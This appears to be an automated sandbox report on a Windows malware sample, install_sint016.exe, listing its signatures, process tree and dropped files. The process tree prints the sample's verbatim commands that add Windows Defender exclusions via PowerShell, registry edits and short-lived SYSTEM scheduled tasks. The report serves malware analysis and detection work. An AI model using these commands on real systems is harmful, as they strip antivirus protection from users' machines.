Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    13/08/2026, 00:56

General

  • Target
    install_sint016.exe
  • Size 40.7MB
  • Sample260813-baf89sw1fs
  • SHA256 2cc3594a2799e8b6ecd70ec0a24cc92e2b33c5c63f4679691201ed088f4323a6
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_sint016.exe
    "C:\Users\Admin\AppData\Local\Temp\install_sint016.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:5628
  • C:\Users\Public\s9kudU\lxPA4C.exe
    "C:\Users\Public\s9kudU\lxPA4C.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2064
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:6036
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\s9kudU\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3952
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\s9kudU\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5544
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:5076
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5648
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:5084
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4484
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4688
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5516
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:4812
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:576
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:5512
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:5156
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:5956
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3256
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4496
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5600
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4064
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:3016
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4448
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:2544
                      • C:\Users\Public\s9kudU\lxPA4C.exe
                        "C:\Users\Public\s9kudU\lxPA4C.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:5720
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:5372
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\s9kudU" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4616
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\s9kudU" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5328
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1720
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4704
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4304
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4972

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              UxEnhance64.dll

                              • Path C:\Users\Public\s9kudU\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 6828a7ea5ddf84b962589f019f1d7a401fcd1ae4f679ff736ed7c5a056377794
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\s9kudU\adoresd.dat
                              • Size 4.7MB
                              • SHA256 ab072da974df47684ca87a0cd606669a96bf769020d77d23f97157f206a6d517
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              lxPA4C.exe

                              • Path C:\Users\Public\s9kudU\lxPA4C.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\s9kudU\msadox.tb
                              • Size 8KB
                              • SHA256 1730da0df84e37289ccd9d4e85c58803f944f5be4a2bcb3503034d880d567959
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/2064-556-0x000001E047680000-0x000001E0476CE000-memory.dmp

                              memory/2064-560-0x000001E048A00000-0x000001E048A8A000-memory.dmp

                              memory/2064-565-0x000001E0480D0000-0x000001E048961000-memory.dmp

                              memory/2064-566-0x000001E0480D0000-0x000001E048961000-memory.dmp

                              memory/2064-530-0x00007FFC909D0000-0x00007FFC909D2000-memory.dmp

                              memory/2064-558-0x000001E048A00000-0x000001E048A8A000-memory.dmp

                              memory/2064-563-0x000001E0480D0000-0x000001E048961000-memory.dmp

                              memory/2064-531-0x00007FFC6DA30000-0x00007FFC6DF4E000-memory.dmp

                              memory/2064-536-0x000001E0480D0000-0x000001E048961000-memory.dmp

                              memory/2064-539-0x000001E0480D0000-0x000001E048961000-memory.dmp

                              memory/2064-538-0x00007FFC909E0000-0x00007FFC909E2000-memory.dmp

                              memory/2064-543-0x000001E0480D0000-0x000001E048961000-memory.dmp

                              memory/2064-544-0x000001E0480D0000-0x000001E048961000-memory.dmp

                              memory/2064-545-0x000001E0480D0000-0x000001E048961000-memory.dmp

                              memory/2064-546-0x000001E0480D0000-0x000001E048961000-memory.dmp

                              memory/2064-550-0x000001E0480D0000-0x000001E048961000-memory.dmp

                              memory/2064-561-0x000001E048A00000-0x000001E048A8A000-memory.dmp

                              memory/2064-557-0x000001E048A00000-0x000001E048A8A000-memory.dmp

                              memory/5628-525-0x00007FFC88110000-0x00007FFC88122000-memory.dmp

                              memory/5628-0-0x00000000004D0000-0x00000000004DE000-memory.dmp

                              memory/5628-1-0x00000000004D0000-0x00000000004DE000-memory.dmp

                              memory/5628-2-0x00000000004E0000-0x00000000004EC000-memory.dmp

                              memory/5628-504-0x00007FFC88110000-0x00007FFC88122000-memory.dmp

                              memory/5628-524-0x00000000004D0000-0x00000000004DE000-memory.dmp

                              memory/5720-583-0x00000116D76C0000-0x00000116D7F51000-memory.dmp

                              memory/5720-578-0x00007FFC909E0000-0x00007FFC909E2000-memory.dmp

                              memory/5720-573-0x00007FFC6DA30000-0x00007FFC6DF4E000-memory.dmp

                              memory/5720-576-0x00000116D76C0000-0x00000116D7F51000-memory.dmp

                              memory/5720-584-0x00000116D76C0000-0x00000116D7F51000-memory.dmp

                              memory/5720-579-0x00000116D76C0000-0x00000116D7F51000-memory.dmp

                              memory/5720-587-0x00007FFC909D0000-0x00007FFC909D2000-memory.dmp

                              memory/5720-585-0x00000116D76C0000-0x00000116D7F51000-memory.dmp

                              memory/5720-586-0x00000116D76C0000-0x00000116D7F51000-memory.dmp

                              memory/6036-591-0x0000017B9DD50000-0x0000017B9DD72000-memory.dmp

                              memory/6036-594-0x0000017B9DDA0000-0x0000017B9DDBE000-memory.dmp

                              memory/6036-595-0x0000017B9DDD0000-0x0000017B9DE82000-memory.dmp

                              memory/6036-596-0x0000017B9DD90000-0x0000017B9DD9A000-memory.dmp